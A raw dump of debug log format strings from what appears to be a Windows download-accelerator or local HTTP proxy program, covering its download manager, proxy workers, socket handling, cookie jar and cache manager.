[FileDownloadMgr::InitiateDownloadSequence] FDM=%d - Starting the download sequence
[FileDownloadMgr::DownloadRequest] FDM=%d - Going To Download the Request
[FileDownloadMgr::DownloadRequest] FDM=%d ___Warning FDM_State: %d - Cannot initiate a new download, try again later...
[FileDownloadMgr::DownloadRequest] FDM=%d - FDM_State: %d
[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No new requests where started ---
[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- The cache manager finished writing ---
[FileDownloadMgr::OnDownloadCompleted] FDM=%d --- No more active workers ---
[FileDownloadMgr::Work] FDM=%d - Exit thread now...
[FileDownloadMgr::Work] FDM=%d - ### Closing FDM - No more active Workers, Connections & Requests ###
[FileDownloadMgr::Work] FDM=%d - Thread was stopped (FDM_State: %d)
[FileDownloadMgr::Work] FDM=%d ___Error Thread should be stopped (FDM_State: %d)
[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d
[FileDownloadMgr::Work] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d
[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (command) - FDM_State: %d
[FileDownloadMgr::Work] FDM=%d - Cache manager not finished (FDM_State: %d)
[FileDownloadMgr::Work] FDM=%d - Thread should be stopped (timeout) - FDM_State: %d
[FileDownloadMgr::Work] FDM=%d - Done Caching - Thread should be stopped (timeout) - FDM_State: %d
[FileDownloadMgr::Work] FDM=%d - Thread was created (FDM_State: %d)
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- No new requests where started ---
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d --- The cache manager finished writing (STATE_FINISHED ==> FDM_COMPLETE_DOWNLOADING) ---
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error --- The cache manager failed writing the buffer. Going to stop the FDM (STATE_STOPPED) ---
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - JOB_WAS_RECOVERED
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NO_JOBS_TO_RECOVER
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d *** Stop Download - Not watching video ***
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d
[FileDownloadMgr::HandleWorkingThreadTimeout] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Exit command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The cache manager was stopped, Going to stop the FDM (STATE_STOPPED)
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error CRITICAL_ERROR_STOP_FDM - Going to stop the FDM...
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d ___Error ERROR_TO_RECOVER_JOB - Continue Without Acceleration...
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - JOB_WAS_RECOVERED
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - calling to stop UI notification
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NO_JOBS_TO_RECOVER - Try to download next range (MaxConnections: %d)
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Job Finish command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Job Finish command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Resume Acceleration command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Buffer switched, send COMMAND_JOB_FINISHED
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Using cache & complete writing
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - The Peer is ready to be written into.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Connection Closed command was set - NumberOfActiveConnections: %d
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - 3G Connection Closed command was set - NumberOfActiveConnections3G: %d
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Started command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - New Request Added command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Abort Acceleration command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Start Accelerate command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - Stop Acceleration command was set.
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers3G: %d, NumberOfActiveConnections3G: %d
[FileDownloadMgr::HandleWorkingThreadCommand] FDM=%d - NumberOfActiveWorkers: %d, NumberOfActiveConnections: %d
[HttpProxyRemote - %p] FDM=%d (%d).
[~HttpProxyRemote - %p] FDM=%d (%d).
[HttpProxyRemote::SetCookies] FDM=%d (%d),Req:%d - Cookies: %s
[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Job:%d completed!
[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - Range: %lld-%lld was updated
[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d ___Error job info invalid
[HttpProxyRemote::UpdateJobRange] FDM=%d (%d),Req:%d - New Range: %lld-%lld
[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d - Job:%d completed!
[HttpProxyRemote::IncrementBytesToDiscard] FDM=%d (%d),Req:%d ___Error Job info invalid
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error adding the port %d to the ignored list
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d socket %d - add the port %d to the ignored list
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error IRedirectController = NULL
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: The function getpeername failed, LE: %d
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error binding to the socket %d
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[HttpProxyRemote::DisableRedirectionOnConnection] FDM=%d (%d),Req:%d ___Error: the current status is %s.
[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Worker was stopped.
[HttpProxyRemote::Stop] FDM=%d (%d),Req:%d - Stopping Worker...
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Request was written to Local
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Going to write request to Local
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Read %d bytes from socket %d
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: Reading from socket %d
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d - Reading from socket %d
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the Job object is null.
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[HttpProxyRemote::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the current download state is %s.
[HttpProxyRemote::GetFlvDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld
[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d Discard Data Header: %lld
[HttpProxyRemote::GetMp4DataHeaderBytesToDiscard] FDM=%d (%d),Req:%d. Header Analize not complete - Accumulated: %d
[HttpProxyRemote::ReconnectReset] ___Error FDM=%d (%d),Req:%d - Invalid JobInfo
[HttpProxyRemote::ReconnectReset] FDM=%d (%d),Req:%d - Bytes Downloaded: %lld, Bytes Written: %lld
[HttpProxyRemote::CloseSocket] FDM=%d (%d),Req:%d - socket %d - close: %d
[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** Going to delete the previous socket %d ***.
[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d ___Warning Cannot empty buffer from socket !!!.
[HttpProxyRemote::ReConnectToDomain] FDM=%d (%d),Req:%d *** ReConnecting to the domain ***.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (CONNECT request)
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request. (status is %s).
HttpProxyRemote::WriteCachedBufferToSocket
[HttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Warning invalid job info
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error connecting to IP %s:%d. LE:%d
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connected to IP - %s:%d
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - Connecting to IP - %s:%d
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error invalid socket object
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d *** Going to initialize a new socket ***.
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error Resolving IP: %s. The function SafeGetHostByName falied.
HttpProxyRemote::ConnectToDomain
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d - *** Already connected to IP %s:%d *** (Reused)
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d ___Error job info invalid
[HttpProxyRemote::ConnectToDomain] FDM=%d (%d),Req:%d
[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d - Worker Finished !
[HttpProxyRemote::Finish] FDM=%d (%d),Req:%d - Worker finished downloading it's range.
[HttpProxyRemote::Finish] FDM=%d (%d), Req:%d
[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Remote: %s: %d, socket %d
[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d ___Error IAsyncSocket invalid
[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d - Connect Time: %d ms (3G: %d)
[HttpProxyRemote::SocketWasConnected] FDM=%d (%d),Req:%d
[HttpProxyRemote::SocketWasClosed] Remote: %s:%d, socket %d
[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - DownloadState:%d
[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d - SocketReadyToReadFrom
[HttpProxyRemote::SocketWasClosed] FDM=%d (%d),Req:%d, Job:%d
[HttpProxyRemote::GetDataHeaderBytesToDiscard] FDM=%d (%d),Req:%d - Need to accumulate more data...
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (DATA) ***. (wrote %lld data bytes).
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the data
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Shift Socket Buffer ->>>- Worker is switching back to HEADER state
[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d - *** Validate Continuousness with next job ***
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d bytes from the data written.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker was stopped...
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - FileDownloadMgr written: %d bytes.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The Data size is %d/%d bytes.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data bytes where discarded.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes for padding.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %lld Data Header bytes where discarded.
[HttpProxyRemote::WriteToLocal] ___Error FDM=%d (%d),Req:%d *** Job Data not consistent after Recconnect ***
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send (accumulate data header).
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no available data to send.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning no data to send.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in DATA state
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is switching to DATA state (%d bytes)
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - *** Finished downloading the request (HEADER) ***.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Switching to DATA state
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Ignoring 1xx Response
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error writing the header
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Header was already downloaded
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by FDM (Redirected: %d)
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the header written by Remote worker
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - %d/%d bytes from the new header written by Remote worker
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser ParseHeader
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpParser Initialize
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error HttpHeader BuildHeader
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Response header was changed
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode after parse response
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning - switching to Transparent mode (not HTTP)
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode after parse response
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error The header is invalid - switch to PassThrough mode!
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Warning Header is incomplete
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Worker is in HEADER state
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - NO PassThrough mode
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - IN PassThrough mode
[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d - Going to analyze %d bytes.
[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Response)
[HttpProxyRemote::SaveRedirectInfo] FDM=%d (%d),Req:%d - SetCookie: %s (Request)
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function BuildHeader field.
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - GetCookie: %s
HTTP/1.1
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: The function SetRanges field.
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error ParseHeader
HttpProxyRemote::UpdateRequest
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.
[HttpProxyRemote::UpdateRequest] FDM=%d (%d),Req:%d - Redirected: %d
[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateRequest failed.
[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d *** ReStarting the job ***.
[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: The function UpdateDomainName %s failed.
[HttpProxyRemote::ReStartCurrentJob]
[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.
[HttpProxyRemote::ReStartCurrentJob] FDM=%d (%d),Req:%d ___Error - Reached max redirections: %d
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The error was not handled.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Worker Status was set to WORKER_STATUS_ERROR.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Job State was set to JOB_STATE_ERROR.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - network error is Permanent !
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - The worker should be stopped - reached Maximum errors !
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - Network Error severity: %d.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d ___Error - m_DownloadState: %d, Errors: %d.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d, JobState:%d ___Error - range download flag is %d, m_DownloadState: %d, Errors: %d.
[HttpProxyRemote::ErrorOnSocket] FDM=%d (%d),Req:%d, Job:%d - Completed !
[HttpProxyRemote::UpdateParameters] ___Error invalid job or request
[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d - Already connected
[HttpProxyRemote::UpdateParameters] FDM=%d (%d),Req:%d
[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: socket is not ready for writing.
[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Warning: worker is not ready for download - State: %s
[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Already Connected to IP:%s.
[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d ___Error: The function UpdateParameters failed.
[HttpProxyRemote::StartJob] FDM=%d (%d),Req:%d - Starting %lld-%lld (size: %lld)
HttpProxyRemote::StartJob
[HttpProxyRemote::StartRecoveredJob] FDM=%d (%d),Req:%d
[RequestInfo::DownloadAccelerated] Req:%d - Accelerate: %d
[RequestInfo::SetPassThrough] Req:%d - ON
[RequestInfo] Req:%d
[~RequestInfo] Req:%d
https:
%s=%s%s%s
[HttpCookieJar::GetCookie] Removing cookie: %s
[HttpCookieJar::SetCookies] Removing cookie: %s
[NetworkEventsSink::RefreshSocket] socket %d - Refreshed
[NetworkEventsSink::RefreshSocket] ___Error WSAAsyncSelect on socket %d. LE: %d
[NetworkEventsSink::RefreshAsyncSocket] socket %d - Refreshed
[NetworkEventsSink::RefreshAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d
[NetworkEventsSink::ClearSocketMessages] Messages: %d
[NetworkEventsSink::Find] socket %d - was found.
[NetworkEventsSink::Find] socket %d
[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was removed from the sockets map.
[NetworkEventsSink::RemoveFromSocketsMap] socket %d - was not found in the sockets map.
[NetworkEventsSink::RemoveFromSocketsMap] socket %d
[NetworkEventsSink::WindowProc] Finished %s (%d) on socket %d. Err: %d
[NetworkEventsSink::WindowProc] ___Error %s occured (event %x) on socket %d
[NetworkEventsSink::WindowProc] *** %s occured on socket %d, Err: %d.
UNSUPPORTED_EVENT
[NetworkEventsSink::Work] ___Error creating a windows. LE: %d.
[NetworkEventsSink::Work] The class %s was register.
[NetworkEventsSink::Work] ___Error register the class %s. LE: %d
[NetworkEventsSink::RemoveSocket] socket %d - Removed from events sink.
[NetworkEventsSink::RemoveSocket] ___Error removeing socket %d from sockets map.
[NetworkEventsSink::RemoveSocket] ___Error WSAAsyncSelect on socket %d. LE: %d.
[NetworkEventsSink::RemoveAsyncSocket] socket %d - Removed from events sink
[NetworkEventsSink::RemoveAsyncSocket] ___Error removeing socket %d from sockets map.
[NetworkEventsSink::RemoveAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d
[NetworkEventsSink::AddToSocketsMap] ___Warning - socket %d already exists in sockets map.
[NetworkEventsSink::AddToSocketsMap] socket %d - was added to sockets map.
[NetworkEventsSink::AddSocket] socket %d - Added events sink.
[NetworkEventsSink::AddSocket] ___Error WSAAsyncSelect on socket %d. LE: %d
[NetworkEventsSink::AddSocket] ___Error adding socket %d to sockets map.
[NetworkEventsSink::AddAsyncSocket] socket %d - Added to events sink
[NetworkEventsSink::AddAsyncSocket] ___Error AsyncSelect on socket %d. LE: %d
[NetworkEventsSink::AddAsyncSocket] ___Error adding socket %d to sockets map.
[CNetworkInterfaceManager::GetNumberOfInterfaces] Count: %d
[CNetworkInterfaceManager::RegisterInterfaceEvents] Total: %d
[CNetworkInterfaceManager::GetCellularInterfaceAddress] %s - %s
[CNetworkInterfaceManager::GetWifiInterfaceAddress] %s - %s
[CNetworkInterfaceManager::UnRegisterInterfaceEvents] Total: %d
[CNetworkInterfaceManager::VerifyInterface] Network Interface: %s
[CNetworkInterfaceManager::UpdateLocalIPs] Total: %d
[CNetworkInterfaceManager::UpdateLocalIPs] LocalHost IP: %s
[CHttpCacheManager::Cleanup] Cleanup, LastAccess: %d, LastCleanup: %d
[CHttpCacheManager::CreateCacheData] Cleanup, LastAccess: %d, LastCleanup: %d
[CHttpCacheManager::FindCacheData] Url: %s
Cookie: %s
[CHttpCacheManager::DestroyCacheData] Url: %s
[CHttpCacheManager::StopAllCaching] Try to stop - CD:%d, Domain: %s
[CHttpCacheManager::StopAllCaching]
[CHttpCacheManager::Work] ...Leave
[CHttpCacheManager::Work] Cleanup - LastAccess: %d, LastCleanup: %d, Interval: %d -> %d
[CHttpCacheManager::Work] Enter...
[AsyncSocket::Listen] ___Error listening on socket %d. LE: %d
[AsyncSocket::SetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d -> %d
[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d -> %d
[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d -> %d
[AsyncSocket::SetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d -> %d
[AsyncSocket::GetInternalFlag] socket %d - SOCKET_IS_CELLULAR: %d
[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_WRITE_TO: %d
[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CAN_BE_READ_FROM: %d
[AsyncSocket::GetInternalFlag] socket %d - SOCKET_CONNECTION_ESTABLISHED: %d
[AsyncSocket::IsConnected] ___Warning Socket %d - not connected or invalid.
[AsyncSocket::IsConnected] ___Warning Socket %d - not connected. ret: %d, LE: %d
[AsyncSocket::Read] socket %d, Read: %d, Total: %lld
[AsyncSocket::Read] ___Warning - socket %d can't read from yet.
[AsyncSocket::Read] ___Error reading from socket %d. LE: %d
[AsyncSocket::Read] ___Warning - socket %d is not ready to read from.
[AsyncSocket::Write] socket %d, Written: %u, Total: %lld.
[AsyncSocket::Write] socket %d, Written: %u, Total: %lld. (BytesWrittenSinceLastSecond: %d)
[AsyncSocket::Write] ___Error - socket %d. LE: %d.
[AsyncSocket::Write] ___Warning - socket %d is not ready for writing. LE: WSAEWOULDBLOCK.
[AsyncSocket::Write] ___Warning - socket %d. LE: WSAENOBUFS, reducing buffer size...
[AsyncSocket::Write] ___Error - socket %d failed writing for %d seconds !!!
[AsyncSocket::Write] ___Warning - socket %d is not ready for writing (wait for FD_WRITE event).
[AsyncSocket::Write] ___Error - socket %d invalid.
[AsyncSocket::SetSockName] socket %d, IP: %s, Port: %u
%u.%u.%u.%u
[AsyncSocket::SetPeerName] socket %d, IP: %s, Port: %u
[AsyncSocket::SetMaximumBPSToWrite] socket %d - Max Bps: %d
[AsyncSocket::EnumNetworkEvents] socket %d - Events: %X, Signaled: %X
[AsyncSocket::Ioctl] socket %d, cmd: %d, argp: %p, pOverlapped: %p
[AsyncSocket::GetOverlappedResult] socket %d
[AsyncSocket] socket %d
[AsyncSocket::Initialize] socket %d was initialized.
[AsyncSocket::Initialize] ___Error registering on the network events for socket %d.
[AsyncSocket::Initialize] socket %d - changed SO_SNDBUF: %d
[AsyncSocket::Initialize] socket %d - SO_SNDBUF: %d
[AsyncSocket::UnInitialize] socket %d
[AsyncSocket::Close] socket %d, do nothing
[AsyncSocket::Close] socket %d ___Error RemoveIgnoredConnection
[AsyncSocket::Close] socket %d
[~AsyncSocket] socket %d
[AsyncSocket::Bind] ___Error binding socket %d to port: %u. LE: %d
[AsyncSocket::Bind] new socket %d - %s : %d
[AsyncSocket::Bind] socket %d - %s : %d
[AsyncSocket::Connect] socket %d - connected !
[AsyncSocket::Connect] ___Warning socket %d - Async connecting... LE: %d
[AsyncSocket::Connect] ___Error socket %d, LE: %d
[AsyncSocket::Connect] socket %d - Already connected !
[AsyncSocket::Connect] ___Error socket %d - Already connected to another IP: %s, Port: %u
[AsyncSocket::Connect] socket %d - IP: %s, Port: %u
[CProxyServerPassThrough::SocketReadyToWriteInto] FDM=%d (%d)
[CProxyServerPassThrough::SocketWasConnected] FDM=%d (%d)
[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d) - SocketReadyToReadFrom
[CProxyServerPassThrough::SocketWasClosed] FDM=%d (%d)
[CProxyServerPassThrough::ErrorOnSocket] FDM=%d (%d)
[CProxyServerPassThrough] FDM=%d
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error adding port %d to ignore list
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) socket %d - going to add port %d to ignore list
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid IRedirectController
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error GetSockName, LE: %d
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error binding socket %d, LE: %d
[CProxyServerPassThrough::DisableRedirectionOnConnection] FDM=%d (%d) ___Error invalid socket
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - After writing %d bytes into upper level
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Going to write the %d bytes into the upper level
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Read %d bytes from socket %d
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error Reading from socket %d
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) - Reading from socket %d
[CProxyServerPassThrough::SocketReadyToReadFrom] FDM=%d (%d) ___Error invalid socket
[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) ___Error connecting, LE: %d
[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connected to %s : %d
[CProxyServerPassThrough::ConnectToServer] FDM=%d (%d) - Connecting to %s : %d
[HttpProxyServer::ConnectToServer] FDM=%d (%d) ___Error invalid socket
[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error getting the destination details. Local: %s:%d
[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) - Local: %s:%d, Remote: %s:%d, PID: %d
[CProxyServerPassThrough::GetDestinationIpAndPort] FDM=%d (%d) ___Error invalid IRedirectController
[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error GetDestinationIpAndPort
[CProxyServerPassThrough::IsPassThrough] FDM=%d (%d) ___Error getting the connected IP and Port
[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error ConnectToServer
[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error to initialize Worker: %d.
[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) - Going to initialize Worker: %d.
[CProxyServerPassThrough::AcceptConnection] FDM=%d (%d) ___Error not enough memory to allocate ProxyPeer.
[SubjectDataProperty::Serialize] ___Error not supported yet
[SubjectDataProperty::Deserialize] ___Error not supported yet
m_PropertyValue.pszValue
m_PropertyValue.pValue
[SubjectDataProperty::GetValue(int)] ___WARNING: m_PropertyType is: %d
[SubjectDataProperty::GetValue(UINT)] ___WARNING: m_PropertyType is: %d
[SubjectDataProperty::GetValue(DWORD)] ___WARNING: m_PropertyType is: %d
[SubjectDataProperty::GetValue(char*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)
[SubjectDataProperty::GetValue(BYTE*)] ___Error: The buffer is too small (Internal Buffer Size: %d, Internal Buffer Size %d)
[CacheManager::GetCacheWriter] FDM=%d, Dummy - CacheWriter: %p
[CacheManager::GetCacheWriter] FDM=%d, Real - CacheWriter: %p
[CacheManager::Pause] FDM=%d
[CacheManager::Resume] FDM=%d
[CacheManager::SetCacheData] FDM=%d - CD:%d (pICacheData: %p)
[CacheManager::SetFileDownloadMgr] FDM=%d - pIFileDownloadMgr: %p, DownloadSize: %lld
[CacheManager::IsWritingComplete] FDM=%d *** Writing Completed *** (%lld >= %lld)
